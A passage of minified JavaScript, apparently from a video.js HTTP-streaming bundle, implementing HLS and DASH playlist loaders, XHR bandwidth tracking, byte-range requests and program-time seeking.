r=t.options_;this.customTagParsers=r&&r.customTagParsers||[],this.customTagMappers=r&&r.customTagMappers||[],this.llhls=r&&r.llhls,this.state="HAVE_NOTHING",this.handleMediaupdatetimeout_=this.handleMediaupdatetimeout_.bind(this),this.on("mediaupdatetimeout",this.handleMediaupdatetimeout_)}handleMediaupdatetimeout_(){if("HAVE_METADATA"!==this.state)return;const e=this.media();let t=ga(this.main.uri,e.uri);this.llhls&&(t=((e,t)=>{if(t.endList||!t.serverControl)return e;const i={};if(t.serverControl.canBlockReload){const{preloadSegment:e}=t;let n=t.mediaSequence+t.segments.length;if(e){const r=e.parts||[],s=Ia(t)-1;s>-1&&s!==r.length-1&&(i._HLS_part=s),(s>-1||r.length)&&n--}i._HLS_msn=n}if(t.serverControl&&t.serverControl.canSkipUntil&&(i._HLS_skip=t.serverControl.canSkipDateranges?"v2":"YES"),Object.keys(i).length){const t=new(r().URL)(e);["_HLS_skip","_HLS_msn","_HLS_part"].forEach((function(e){i.hasOwnProperty(e)&&t.searchParams.set(e,i[e])})),e=t.toString()}return e})(t,e)),this.state="HAVE_CURRENT_METADATA",this.request=this.vhs_.xhr({uri:t,withCredentials:this.withCredentials},((e,t)=>{if(this.request)return e?this.playlistRequestError(this.request,this.media(),"HAVE_METADATA"):void this.haveMetadata({playlistString:this.request.responseText,url:this.media().uri,id:this.media().id})}))}playlistRequestError(e,t,i){const{uri:n,id:r}=t;this.request=null,i&&(this.state=i),this.error={playlist:this.main.playlists[r],status:e.status,message:`HLS playlist request error at URL: ${n}.`,responseText:e.responseText,code:e.status>=500?4:2},this.trigger("error")}parseManifest_({url:e,manifestString:t}){return(({onwarn:e,oninfo:t,manifestString:i,customTagParsers:n=[],customTagMappers:r=[],llhls:s})=>{const a=new L;e&&a.on("warn",e),t&&a.on("info",t),n.forEach((e=>a.addParser(e))),r.forEach((e=>a.addTagMapper(e))),a.push(i),a.end();const o=a.manifest;if(s||(["preloadSegment","skip","serverControl","renditionReports","partInf","partTargetDuration"].forEach((function(e){o.hasOwnProperty(e)&&delete o[e]})),o.segments&&o.segments.forEach((function(e){["parts","preloadHints"].forEach((function(t){e.hasOwnProperty(t)&&delete e[t]}))}))),!o.targetDuration){let t=10;o.segments&&o.segments.length&&(t=o.segments.reduce(((e,t)=>Math.max(e,t.duration)),0)),e&&e(`manifest has no targetDuration defaulting to ${t}`),o.targetDuration=t}const l=Aa(o);if(l.length&&!o.partTargetDuration){const t=l.reduce(((e,t)=>Math.max(e,t.duration)),0);e&&(e(`manifest has no partTargetDuration defaulting to ${t}`),Ja.error("LL-HLS manifest has parts but lacks required #EXT-X-PART-INF:PART-TARGET value. See https://datatracker.ietf.org/doc/html/draft-pantos-hls-rfc8216bis-09#section-4.4.3.7. Playback is not guaranteed.")),o.partTargetDuration=t}return o})({onwarn:({message:t})=>this.logger_(`m3u8-parser warn for ${e}: ${t}`),oninfo:({message:t})=>this.logger_(`m3u8-parser info for ${e}: ${t}`),manifestString:t,customTagParsers:this.customTagParsers,customTagMappers:this.customTagMappers,llhls:this.llhls})}haveMetadata({playlistString:e,playlistObject:t,url:i,id:n}){this.request=null,this.state="HAVE_METADATA";const r=t||this.parseManifest_({url:i,manifestString:e});r.lastRequest=Date.now(),Za({playlist:r,uri:i,id:n});const s=so(this.main,r);this.targetDuration=r.partTargetDuration||r.targetDuration,this.pendingMedia_=null,s?(this.main=s,this.media_=this.main.playlists[n]):this.trigger("playlistunchanged"),this.updateMediaUpdateTimeout_(ao(this.media(),!!s)),this.trigger("loadedplaylist")}dispose(){this.trigger("dispose"),this.stopRequest(),r().clearTimeout(this.mediaUpdateTimeout),r().clearTimeout(this.finalRenditionTimeout),this.off()}stopRequest(){if(this.request){const e=this.request;this.request=null,e.onreadystatechange=null,e.abort()}}media(e,t){if(!e)return this.media_;if("HAVE_NOTHING"===this.state)throw new Error("Cannot switch media playlist from "+this.state);if("string"==typeof e){if(!this.main.playlists[e])throw new Error("Unknown playlist URI: "+e);e=this.main.playlists[e]}if(r().clearTimeout(this.finalRenditionTimeout),t){const t=(e.partTargetDuration||e.targetDuration)/2*1e3||5e3;return void(this.finalRenditionTimeout=r().setTimeout(this.media.bind(this,e,!1),t))}const i=this.state,n=!this.media_||e.id!==this.media_.id,s=this.main.playlists[e.id];if(s&&s.endList||e.endList&&e.segments.length)return this.request&&(this.request.onreadystatechange=null,this.request.abort(),this.request=null),this.state="HAVE_METADATA",this.media_=e,void(n&&(this.trigger("mediachanging"),"HAVE_MAIN_MANIFEST"===i?this.trigger("loadedmetadata"):this.trigger("mediachange")));if(this.updateMediaUpdateTimeout_(ao(e,!0)),n){if(this.state="SWITCHING_MEDIA",this.request){if(e.resolvedUri===this.request.url)return;this.request.onreadystatechange=null,this.request.abort(),this.request=null}this.media_&&this.trigger("mediachanging"),this.pendingMedia_=e,this.request=this.vhs_.xhr({uri:e.resolvedUri,withCredentials:this.withCredentials},((t,n)=>{if(this.request){if(e.lastRequest=Date.now(),e.resolvedUri=_a(e.resolvedUri,n),t)return this.playlistRequestError(this.request,e,i);this.haveMetadata({playlistString:n.responseText,url:e.uri,id:e.id}),"HAVE_MAIN_MANIFEST"===i?this.trigger("loadedmetadata"):this.trigger("mediachange")}}))}}pause(){this.mediaUpdateTimeout&&(r().clearTimeout(this.mediaUpdateTimeout),this.mediaUpdateTimeout=null),this.stopRequest(),"HAVE_NOTHING"===this.state&&(this.started=!1),"SWITCHING_MEDIA"===this.state?this.media_?this.state="HAVE_METADATA":this.state="HAVE_MAIN_MANIFEST":"HAVE_CURRENT_METADATA"===this.state&&(this.state="HAVE_METADATA")}load(e){this.mediaUpdateTimeout&&(r().clearTimeout(this.mediaUpdateTimeout),this.mediaUpdateTimeout=null);const t=this.media();if(e){const e=t?(t.partTargetDuration||t.targetDuration)/2*1e3:5e3;this.mediaUpdateTimeout=r().setTimeout((()=>{this.mediaUpdateTimeout=null,this.load()}),e)}else this.started?t&&!t.endList?this.trigger("mediaupdatetimeout"):this.trigger("loadedplaylist"):this.start()}updateMediaUpdateTimeout_(e){this.mediaUpdateTimeout&&(r().clearTimeout(this.mediaUpdateTimeout),this.mediaUpdateTimeout=null),this.media()&&!this.media().endList&&(this.mediaUpdateTimeout=r().setTimeout((()=>{this.mediaUpdateTimeout=null,this.trigger("mediaupdatetimeout"),this.updateMediaUpdateTimeout_(e)}),e))}start(){if(this.started=!0,"object"==typeof this.src)return this.src.uri||(this.src.uri=r().location.href),this.src.resolvedUri=this.src.uri,void setTimeout((()=>{this.setupInitialPlaylist(this.src)}),0);this.request=this.vhs_.xhr({uri:this.src,withCredentials:this.withCredentials},((e,t)=>{if(!this.request)return;if(this.request=null,e)return this.error={status:t.status,message:`HLS playlist request error at URL: ${this.src}.`,responseText:t.responseText,code:2},"HAVE_NOTHING"===this.state&&(this.started=!1),this.trigger("error");this.src=_a(this.src,t);const i=this.parseManifest_({manifestString:t.responseText,url:this.src});this.setupInitialPlaylist(i)}))}srcUri(){return"string"==typeof this.src?this.src:this.src.uri}setupInitialPlaylist(e){if(this.state="HAVE_MAIN_MANIFEST",e.playlists)return this.main=e,Qa(this.main,this.srcUri()),e.playlists.forEach((e=>{e.segments=no(e),e.segments.forEach((t=>{io(t,e.resolvedUri)}))})),this.trigger("loadedplaylist"),void(this.request||this.media(this.main.playlists[0]));const t=this.srcUri()||r().location.href;this.main=((e,t)=>{const i=Ga(0,t),n={mediaGroups:{AUDIO:{},VIDEO:{},"CLOSED-CAPTIONS":{},SUBTITLES:{}},uri:r().location.href,resolvedUri:r().location.href,playlists:[{uri:t,id:i,resolvedUri:t,attributes:{}}]};return n.playlists[i]=n.playlists[0],n.playlists[t]=n.playlists[0],n})(0,t),this.haveMetadata({playlistObject:e,url:t,id:this.main.playlists[0].id}),this.trigger("loadedmetadata")}}const{xhr:lo}=da,uo=function(e,t,i,n){const r="arraybuffer"===e.responseType?e.response:e.responseText;!t&&r&&(e.responseTime=Date.now(),e.roundTripTime=e.responseTime-e.requestTime,e.bytesReceived=r.byteLength||r.length,e.bandwidth||(e.bandwidth=Math.floor(e.bytesReceived/e.roundTripTime*8*1e3))),i.headers&&(e.responseHeaders=i.headers),t&&"ETIMEDOUT"===t.code&&(e.timedout=!0),t||e.aborted||200===i.statusCode||206===i.statusCode||0===i.statusCode||(t=new Error("XHR Failed with a response of: "+(e&&(r||e.responseText)))),n(t,e)},co=function(){const e=function e(t,i){t=ya({timeout:45e3},t);const n=e.beforeRequest||da.Vhs.xhr.beforeRequest;if(n&&"function"==typeof n){const e=n(t);e&&(t=e)}const r=(!0===da.Vhs.xhr.original?lo:da.Vhs.xhr)(t,(function(e,t){return uo(r,e,t,i)})),s=r.abort;return r.abort=function(){return r.aborted=!0,s.apply(r,arguments)},r.uri=t.uri,r.requestTime=Date.now(),r};return e.original=!0,e},ho=function(e){const t={};return e.byterange&&(t.Range=function(e){let t;const i=e.offset;return t="bigint"==typeof e.offset||"bigint"==typeof e.length?r().BigInt(e.offset)+r().BigInt(e.length)-r().BigInt(1):e.offset+e.length-1,"bytes="+i+"-"+t}(e.byterange)),t},po=function(e,t){return e.start(t)+"-"+e.end(t)},fo=function(e,t){const i=e.toString(16);return"00".substring(0,2-i.length)+i+(t%2?" ":"")},mo=function(e){return e>=32&&e<126?String.fromCharCode(e):"."},go=function(e){const t={};return Object.keys(e).forEach((i=>{const n=e[i];U(n)?t[i]={bytes:n.buffer,byteOffset:n.byteOffset,byteLength:n.byteLength}:t[i]=n})),t},_o=function(e){const t=e.byterange||{length:1/0,offset:0};return[t.length,t.offset,e.resolvedUri].join(",")},vo=function(e){return e.resolvedUri},yo=e=>{const t=Array.prototype.slice.call(e),i=16;let n,r,s="";for(let e=0;e<t.length/i;e++)n=t.slice(e*i,e*i+i).map(fo).join(""),r=t.slice(e*i,e*i+i).map(mo).join(""),s+=n+" "+r+"\n";return s};var bo=Object.freeze({__proto__:null,createTransferableMessage:go,initSegmentId:_o,segmentKeyId:vo,hexDump:yo,tagDump:({bytes:e})=>yo(e),textRanges:e=>{let t,i="";for(t=0;t<e.length;t++)i+=po(e,t)+" ";return i}});const wo=({programTime:e,playlist:t,retryCount:i=2,seekTo:n,pauseAfterSeek:r=!0,tech:s,callback:a})=>{if(!a)throw new Error("seekToProgramTime: callback must be provided");if(void 0===e||!t||!n)return a({message:"seekToProgramTime: programTime, seekTo and playlist must be provided"});if(!t.endList&&!s.hasStarted_)return a({message:"player must be playing a live stream to start buffering"});if(!(e=>{if(!e.segments||0===e.segments.length)return!1;for(let t=0;t<e.segments.length;t++)if(!e.segments[t].dateTimeObject)return!1;return!0})(t))return a({message:"programDateTime tags must be provided in the manifest "+t.resolvedUri});const o=((e,t)=>{let i;try{i=new Date(e)}catch(e){return null}if(!t||!t.segments||0===t.segments.length)return null;let n=t.segments[0];if(i<n.dateTimeObject)return null;for(let e=0;e<t.segments.length-1&&(n=t.segments[e],!(i<t.segments[e+1].dateTimeObject));e++);const r=t.segments[t.segments.length-1],s=r.dateTimeObject,a=r.videoTimingInfo?(o=r.videoTimingInfo).transmuxedPresentationEnd-o.transmuxedPresentationStart-o.transmuxerPrependedSeconds:r.duration+.25*r.duration;var o;return i>new Date(s.getTime()+1e3*a)?null:(i>s&&(n=r),{segment:n,estimatedStart:n.videoTimingInfo?n.videoTimingInfo.transmuxedPresentationStart:Va.duration(t,t.mediaSequence+t.segments.indexOf(n)),type:n.videoTimingInfo?"accurate":"estimate"})})(e,t);if(!o)return a({message:`${e} was not found in the stream`});const l=o.segment,u=((e,t)=>{let i,n;try{i=new Date(e),n=new Date(t)}catch(e){}const r=i.getTime();return(n.getTime()-r)/1e3})(l.dateTimeObject,e);if("estimate"===o.type)return 0===i?a({message:`${e} is not buffered yet. Try again`}):(n(o.estimatedStart+u),void s.one("seeked",(()=>{wo({programTime:e,playlist:t,retryCount:i-1,seekTo:n,pauseAfterSeek:r,tech:s,callback:a})})));const c=l.start+u;s.one("seeked",(()=>a(null,s.currentTime()))),r&&s.pause(),n(c)},To=(e,t)=>{if(4===e.readyState)return t()},{EventTarget:ko}=da,So=function(e,t){if(!ro(e,t))return!1;if(e.sidx&&t.sidx&&(e.sidx.offset!==t.sidx.offset||e.sidx.length!==t.sidx.length))return!1;if(!e.sidx&&t.sidx||e.sidx&&!t.sidx)return!1;if(e.segments&&!t.segments||!e.segments&&t.segments)return!1;if(!e.segments&&!t.segments)return!0;for(let i=0;i<e.segments.length;i++){const n=e.segments[i],r=t.segments[i];if(n.uri!==r.uri)return!1;if(!n.byterange&&!r.byterange)continue;const s=n.byterange,a=r.byterange;if(s&&!a||!s&&a)return!1;if(s.offset!==a.offset||s.length!==a.length)return!1}return!0},Mo=(e,t,i,n)=>`placeholder-uri-${e}-${t}-${n.attributes.NAME||i}`,xo=(e,t)=>(Boolean(!e.map&&!t.map)||Boolean(e.map&&t.map&&e.map.byterange.offset===t.map.byterange.offset&&e.map.byterange.length===t.map.byterange.length))&&e.uri===t.uri&&e.byterange.offset===t.byterange.offset&&e.byterange.length===t.byterange.length,Lo=(e,t)=>{const i={};for(const n in e){const r=e[n].sidx;if(r){const e=pe(r);if(!t[e])break;const n=t[e].sidxInfo;xo(n,r)&&(i[e]=t[e])}}return i};class Co extends ko{constructor(e,t,i={},n){super(),this.mainPlaylistLoader_=n||this,n||(this.isMain_=!0);const{withCredentials:r=!1}=i;if(this.vhs_=t,this.withCredentials=r,!e)throw new Error("A non-empty playlist URL or object is required");this.on("minimumUpdatePeriod",(()=>{this.refreshXml_()})),this.on("mediaupdatetimeout",(()=>{this.refreshMedia_(this.media().id)})),this.state="HAVE_NOTHING",this.loadedPlaylists_={},this.logger_=va("DashPlaylistLoader"),this.isMain_?(this.mainPlaylistLoader_.srcUrl=e,this.mainPlaylistLoader_.sidxMapping_={}):this.childPlaylist_=e}requestErrored_(e,t,i){return!this.request||(this.request=null,e?(this.error="object"!=typeof e||e instanceof Error?{status:t.status,message:"DASH request error at URL: "+t.uri,response:t.response,code:2}:e,i&&(this.state=i),this.trigger("error"),!0):void 0)}addSidxSegments_(e,t,i){const n=e.sidx&&pe(e.sidx);if(!e.sidx||!n||this.mainPlaylistLoader_.sidxMapping_[n])return void(this.mediaRequest_=r().setTimeout((()=>i(!1)),0));const s=_a(e.sidx.resolvedUri),a=(r,s)=>{if(this.requestErrored_(r,s,t))return;const a=this.mainPlaylistLoader_.sidxMapping_;let o;try{o=ze()(W(s.response).subarray(8))}catch(e){return void this.requestErrored_(e,s,t)}return a[n]={sidxInfo:e.sidx,sidx:o},le(e,o,e.sidx.resolvedUri),i(!0)};this.request=((e,t,i)=>{let n,r=[],s=!1;const a=function(e,t,n,r){return t.abort(),s=!0,i(e,t,n,r)},o=function(e,t){if(s)return;if(e)return a(e,t,"",r);const i=t.responseText.substring(r&&r.byteLength||0,t.responseText.length);if(r=function(){for(var e=arguments.length,t=new Array(e),i=0;i<e;i++)t[i]=arguments[i];if(t=t.filter((function(e){return e&&(e.byteLength||e.length)&&"string"!=typeof e})),t.length<=1)return W(t[0]);var n=t.reduce((function(e,t,i){return e+(t.byteLength||t.length)}),0),r=new Uint8Array(n),s=0;return t.forEach((function(e){e=W(e),r.set(e,s),s+=e.byteLength})),r}(r,J(i,!0)),n=n||Ve(r),r.length<10||n&&r.length<n+2)return To(t,(()=>a(e,t,"",r)));const o=ht(r);return"ts"===o&&r.length<188||!o&&r.length<376?To(t,(()=>a(e,t,"",r))):a(null,t,o,r)},l={uri:e,beforeSend(e){e.overrideMimeType("text/plain; charset=x-user-defined"),e.addEventListener("progress",(function({total:t,loaded:i}){return uo(e,null,{statusCode:e.status},o)}))}},u=t(l,(function(e,t){return uo(u,e,t,o)}));return u})(s,this.vhs_.xhr,((t,i,n,r)=>{if(t)return a(t,i);if(!n||"mp4"!==n)return a({status:i.status,message:`Unsupported ${n||"unknown"} container type for sidx segment at URL: ${s}`,response:"",playlist:e,internal:!0,playlistExclusionDuration:1/0,code:2},i);const{offset:o,length:l}=e.sidx.byterange;if(r.length>=l+o)return a(t,{response:r.subarray(o,o+l),status:i.status,uri:i.uri});this.request=this.vhs_.xhr({uri:s,responseType:"arraybuffer",headers:ho({byterange:e.sidx.byterange})},a)}))}dispose(){this.trigger("dispose"),this.stopRequest(),this.loadedPlaylists_={},r().clearTimeout(this.minimumUpdatePeriodTimeout_),r().clearTimeout(this.mediaRequest_),r().clearTimeout(this.mediaUpdateTimeout),this.mediaUpdateTimeout=null,this.mediaRequest_=null,this.minimumUpdatePeriodTimeout_=null,this.mainPlaylistLoader_.createMupOnMedia_&&(this.off("loadedmetadata",this.mainPlaylistLoader_.createMupOnMedia_),this.mainPlaylistLoader_.createMupOnMedia_=null),this.off()}hasPendingRequest(){return this.request||this.mediaRequest_}stopRequest(){if(this.request){const e=this.request;this.request=null,e.onreadystatechange=null,e.abort()}}media(e){if(!e)return this.media_;if("HAVE_NOTHING"===this.state)throw new Error("Cannot switch media playlist from "+this.state);const t=this.state;if("string"==typeof e){if(!this.mainPlaylistLoader_.main.playlists[e])throw new Error("Unknown playlist URI: "+e);e=this.mainPlaylistLoader_.main.playlists[e]}const i=!this.media_||e.id!==this.media_.id;if(i&&this.loadedPlaylists_[e.id]&&this.loadedPlaylists_[e.id].endList)return this.state="HAVE_METADATA",this.media_=e,void(i&&(this.trigger("mediachanging"),this.trigger("mediachange")));i&&(this.media_&&this.trigger("mediachanging"),this.addSidxSegments_(e,t,(i=>{this.haveMetadata({startingState:t,playlist:e})})))}haveMetadata({startingState:e,playlist:t}){this.state="HAVE_METADATA",this.loadedPlaylists_[t.id]=t,this.mediaRequest_=null,this.refreshMedia_(t.id),"HAVE_MAIN_MANIFEST"===e?this.trigger("loadedmetadata"):this.trigger("mediachange")}pause(){this.mainPlaylistLoader_.createMupOnMedia_&&(this.off("loadedmetadata",this.mainPlaylistLoader_.createMupOnMedia_),this.mainPlaylistLoader_.createMupOnMedia_=null),this.stopRequest(),r().clearTimeout(this.mediaUpdateTimeout),this.mediaUpdateTimeout=null,this.isMain_&&(r().clearTimeout(this.mainPlaylistLoader_.minimumUpdatePeriodTimeout_),this.mainPlaylistLoader_.minimumUpdatePeriodTimeout_=null),"HAVE_NOTHING"===this.state&&(this.started=!1)}load(e){r().clearTimeout(this.mediaUpdateTimeout),this.mediaUpdateTimeout=null;const t=this.media();if(e){const e=t?t.targetDuration/2*1e3:5e3;this.mediaUpdateTimeout=r().setTimeout((()=>this.load()),e)}else this.started?t&&!t.endList?(this.isMain_&&!this.minimumUpdatePeriodTimeout_&&(this.trigger("minimumUpdatePeriod"),this.updateMinimumUpdatePeriodTimeout_()),this.trigger("mediaupdatetimeout")):this.trigger("loadedplaylist"):this.start()}start(){this.started=!0,this.isMain_?this.requestMain_(((e,t)=>{this.haveMain_(),this.hasPendingRequest()||this.media_||this.media(this.mainPlaylistLoader_.main.playlists[0])})):this.mediaRequest_=r().setTimeout((()=>this.haveMain_()),0)}requestMain_(e){this.request=this.vhs_.xhr({uri:this.mainPlaylistLoader_.srcUrl,withCredentials:this.withCredentials},((t,i)=>{if(this.requestErrored_(t,i))return void("HAVE_NOTHING"===this.state&&(this.started=!1));const n=i.responseText!==this.mainPlaylistLoader_.mainXml_;return this.mainPlaylistLoader_.mainXml_=i.responseText,i.responseHeaders&&i.responseHeaders.date?this.mainLoaded_=Date.parse(i.responseHeaders.date):this.mainLoaded_=Date.now(),this.mainPlaylistLoader_.srcUrl=_a(this.mainPlaylistLoader_.srcUrl,i),n?(this.handleMain_(),void this.syncClientServerClock_((()=>e(i,n)))):e(i,n)}))}syncClientServerClock_(e){const t=(i=this.mainPlaylistLoader_.mainXml_,(e=>{const t=Ee(e,"UTCTiming")[0];if(!t)return null;const i=Oe(t);switch(i.schemeIdUri){case"urn:mpeg:dash:utc:http-head:2014":case"urn:mpeg:dash:utc:http-head:2012":i.method="HEAD";break;case"urn:mpeg:dash:utc:http-xsdate:2014":case"urn:mpeg:dash:utc:http-iso:2014":case"urn:mpeg:dash:utc:http-xsdate:2012":case"urn:mpeg:dash:utc:http-iso:2012":i.method="GET";break;case"urn:mpeg:dash:utc:direct:2014":case"urn:mpeg:dash:utc:direct:2012":i.method="DIRECT",i.value=Date.parse(i.value);break;default:throw new Error("UNSUPPORTED_UTC_TIMING_SCHEME")}return i})(Be(i)));var i;return null===t?(this.mainPlaylistLoader_.clientOffset_=this.mainLoaded_-Date.now(),e()):"DIRECT"===t.method?(this.mainPlaylistLoader_.clientOffset_=t.value-Date.now(),e()):void(this.request=this.vhs_.xhr({uri:ga(this.mainPlaylistLoader_.srcUrl,t.value),method:t.method,withCredentials:this.withCredentials},((i,n)=>{if(!this.request)return;if(i)return this.mainPlaylistLoader_.clientOffset_=this.mainLoaded_-Date.now(),e();let r;r="HEAD"===t.method?n.responseHeaders&&n.responseHeaders.date?Date.parse(n.responseHeaders.date):this.mainLoaded_:Date.parse(n.responseText),this.mainPlaylistLoader_.clientOffset_=r-Date.now(),e()})))}haveMain_(){this.state="HAVE_MAIN_MANIFEST",this.isMain_?this.trigger("loadedplaylist"):this.media_||this.media(this.childPlaylist_)}handleMain_(){this.mediaRequest_=null;const e=this.mainPlaylistLoader_.main;let t=(({mainXml:e,srcUrl:t,clientOffset:i,sidxMapping:n,previousManifest:r})=>{const s=((e,t={})=>{const i=((e,t={})=>{const{manifestUri:i="",NOW:n=Date.now(),clientOffset:r=0,eventHandler:s=function(){}}=t,a=Ee(e,"Period");if(!a.length)throw new Error("INVALID_NUMBER_OF_PERIOD");const o=Ee(e,"Location"),l=Oe(e),u=$e([{baseUrl:i}],Ee(e,"BaseURL")),c=Ee(e,"ContentSteering");l.type=l.type||"static",l.sourceDuration=l.mediaPresentationDuration||0,l.NOW=n,l.clientOffset=r,o.length&&(l.locations=o.map(Pe));const d=[];return a.forEach(((e,t)=>{const i=Oe(e),n=d[t-1];i.start=(({attributes:e,priorPeriodAttributes:t,mpdType:i})=>"number"==typeof e.start?e.start:t&&"number"==typeof t.start&&"number"==typeof t.duration?t.start+t.duration:t||"static"!==i?null:0)({attributes:i,priorPeriodAttributes:n?n.attributes:null,mpdType:l.type}),d.push({node:e,attributes:i})})),{locations:l.locations,contentSteeringInfo:Fe(c,s),representationInfo:te(d.map(He(l,u))),eventStream:te(d.map(Ne))}})(Be(e),t);return(({dashPlaylists:e,locations:t,contentSteering:i,sidxMapping:n={},previousManifest:r,eventStream:s})=>{if(!e.length)return{};const{sourceDuration:a,type:o,suggestedPresentationDelay:l,minimumUpdatePeriod:u}=e[0].attributes,c=fe(e.filter(ve)).map(_e),d=fe(e.filter(ye)),h=fe(e.filter(be)),p=e.map((e=>e.attributes.captionServices)).filter(Boolean),f={allowCache:!0,discontinuityStarts:[],segments:[],endList:!0,mediaGroups:{AUDIO:{},VIDEO:{},"CLOSED-CAPTIONS":{},SUBTITLES:{}},uri:"",duration:a,playlists:ge(c,n)};u>=0&&(f.minimumUpdatePeriod=1e3*u),t&&(f.locations=t),i&&(f.contentSteering=i),"dynamic"===o&&(f.suggestedPresentationDelay=l),s&&s.length>0&&(f.eventStream=s);const m=0===f.playlists.length,g=d.length?((e,t={},i=!1)=>{let n;const r=e.reduce(((e,r)=>{const s=r.attributes.role&&r.attributes.role.value||"",a=r.attributes.lang||"";let o=r.attributes.label||"main";if(a&&!r.attributes.label){const e=s?` (${s})`:"";o=`${r.attributes.lang}${e}`}e[o]||(e[o]={language:a,autoselect:!0,default:"main"===s,playlists:[],uri:""});const l=me((({attributes:e,segments:t,sidx:i,mediaSequence:n,discontinuitySequence:r,discontinuityStarts:s},a)=>{const o={attributes:{NAME:e.id,BANDWIDTH:e.bandwidth,CODECS:e.codecs,"PROGRAM-ID":1},uri:"",endList:"static"===e.type,timeline:e.periodStart,resolvedUri:e.baseUrl||"",targetDuration:e.duration,discontinuitySequence:r,discontinuityStarts:s,timelineStarts:e.timelineStarts,mediaSequence:n,segments:t};return e.contentProtection&&(o.contentProtection=e.contentProtection),e.serviceLocation&&(o.attributes.serviceLocation=e.serviceLocation),i&&(o.sidx=i),a&&(o.attributes.AUDIO="audio",o.attributes.SUBTITLES="subs"),o})(r,i),t);return e[o].playlists.push(l),void 0===n&&"main"===s&&(n=r,n.default=!0),e}),{});return n||(r[Object.keys(r)[0]].default=!0),r})(d,n,m):null,_=h.length?((e,t={})=>e.reduce(((e,i)=>{const n=i.attributes.label||i.attributes.lang||"text";return e[n]||(e[n]={language:n,default:!1,autoselect:!1,playlists:[],uri:""}),e[n].playlists.push(me((({attributes:e,segments:t,mediaSequence:i,discontinuityStarts:n,discontinuitySequence:r})=>{void 0===t&&(t=[{uri:e.baseUrl,timeline:e.periodStart,resolvedUri:e.baseUrl||"",duration:e.sourceDuration,number:0}],e.duration=e.sourceDuration);const s={NAME:e.id,BANDWIDTH:e.bandwidth,"PROGRAM-ID":1};e.codecs&&(s.CODECS=e.codecs);const a={attributes:s,uri:"",endList:"static"===e.type,timeline:e.periodStart,resolvedUri:e.baseUrl||"",targetDuration:e.duration,timelineStarts:e.timelineStarts,discontinuityStarts:n,discontinuitySequence:r,mediaSequence:i,segments:t};return e.serviceLocation&&(a.attributes.serviceLocation=e.serviceLocation),a})(i),t)),e}),{}))(h,n):null,v=c.concat(we(g),we(_)),y=v.map((({timelineStarts:e})=>e));var b,w;return f.timelineStarts=ce(y),b=v,w=f.timelineStarts,b.forEach((e=>{e.mediaSequence=0,e.discontinuitySequence=w.findIndex((function({timeline:t}){return t===e.timeline})),e.segments&&e.segments.forEach(((e,t)=>{e.number=t}))})),g&&(f.mediaGroups.AUDIO.audio=g),_&&(f.mediaGroups.SUBTITLES.subs=_),p.length&&(f.mediaGroups["CLOSED-CAPTIONS"].cc=p.reduce(((e,t)=>t?(t.forEach((t=>{const{channel:i,language:n}=t;e[n]={autoselect:!1,default:!1,instreamId:i,language:n},t.hasOwnProperty("aspectRatio")&&(e[n].aspectRatio=t.aspectRatio),t.hasOwnProperty("easyReader")&&(e[n].easyReader=t.easyReader),t.hasOwnProperty("3D")&&(e[n]["3D"]=t["3D"])})),e):e),{})),r?(({oldManifest:e,newManifest:t})=>{const i=e.playlists.concat(de(e)),n=t.playlists.concat(de(t));return t.timelineStarts=ce([e.timelineStarts,t.timelineStarts]),(({oldPlaylists:e,newPlaylists:t,timelineStarts:i})=>{t.forEach((t=>{t.discontinuitySequence=i.findIndex((function({timeline:e}){return e===t.timeline}));const n=((e,t)=>{for(let i=0;i<e.length;i++)if(e[i].attributes.NAME===t)return e[i];return null})(e,t.attributes.NAME);if(!n)return;if(t.sidx)return;const r=t.segments[0],s=n.segments.findIndex((function(e){return Math.abs(e.presentationTime-r.presentationTime)<.016666666666666666}));if(-1===s)return he({playlist:t,mediaSequence:n.mediaSequence+n.segments.length}),t.segments[0].discontinuity=!0,t.discontinuityStarts.unshift(0),void((!n.segments.length&&t.timeline>n.timeline||n.segments.length&&t.timeline>n.segments[n.segments.length-1].timeline)&&t.discontinuitySequence--);n.segments[s].discontinuity&&!r.discontinuity&&(r.discontinuity=!0,t.discontinuityStarts.unshift(0),t.discontinuitySequence--),he({playlist:t,mediaSequence:n.segments[s].number})}))})({oldPlaylists:i,newPlaylists:n,timelineStarts:t.timelineStarts}),t})({oldManifest:r,newManifest:f}):f})({dashPlaylists:i.representationInfo.map(De),locations:i.locations,contentSteering:i.contentSteeringInfo,sidxMapping:t.sidxMapping,previousManifest:t.previousManifest,eventStream:i.eventStream})})(e,{manifestUri:t,clientOffset:i,sidxMapping:n,previousManifest:r});return Qa(s,t,Mo),s})({mainXml:this.mainPlaylistLoader_.mainXml_,srcUrl:this.mainPlaylistLoader_.srcUrl,clientOffset:this.mainPlaylistLoader_.clientOffset_,sidxMapping:this.mainPlaylistLoader_.sidxMapping_,previousManifest:e});e&&(t=((e,t,i)=>{let n=!0,r=ya(e,{duration:t.duration,minimumUpdatePeriod:t.minimumUpdatePeriod,timelineStarts:t.timelineStarts});for(let e=0;e<t.playlists.length;e++){const s=t.playlists[e];if(s.sidx){const e=pe(s.sidx);i&&i[e]&&i[e].sidx&&le(s,i[e].sidx,s.sidx.resolvedUri)}const a=so(r,s,So);a&&(r=a,n=!1)}return Xa(t,((e,t,i,s)=>{if(e.playlists&&e.playlists.length){const a=e.playlists[0].id,o=so(r,e.playlists[0],So);o&&(r=o,s in r.mediaGroups[t][i]||(r.mediaGroups[t][i][s]=e),r.mediaGroups[t][i][s].playlists[0]=r.playlists[a],n=!1)}})),((e,t)=>{Xa(e,((i,n,r,s)=>{s in t.mediaGroups[n][r]||delete e.mediaGroups[n][r][s]}))})(r,t),t.minimumUpdatePeriod!==e.minimumUpdatePeriod&&(n=!1),n?null:r})(e,t,this.mainPlaylistLoader_.sidxMapping_)),this.mainPlaylistLoader_.main=t||e;const i=this.mainPlaylistLoader_.main.locations&&this.mainPlaylistLoader_.main.locations[0];return i&&i!==this.mainPlaylistLoader_.srcUrl&&(this.mainPlaylistLoader_.srcUrl=i),(!e||t&&t.minimumUpdatePeriod!==e.minimumUpdatePeriod)&&this.updateMinimumUpdatePeriodTimeout_(),Boolean(t)}updateMinimumUpdatePeriodTimeout_(){const e=this.mainPlaylistLoader_;e.createMupOnMedia_&&(e.off("loadedmetadata",e.createMupOnMedia_),e.createMupOnMedia_=null),e.minimumUpdatePeriodTimeout_&&(r().clearTimeout(e.minimumUpdatePeriodTimeout_),e.minimumUpdatePeriodTimeout_=null);let t=e.main&&e.main.minimumUpdatePeriod;0===t&&(e.media()?t=1e3*e.media().targetDuration:(e.createMupOnMedia_=e.updateMinimumUpdatePeriodTimeout_,e.one("loadedmetadata",e.createMupOnMedia_))),"number"!=typeof t||t<=0?t<0&&this.logger_(`found invalid 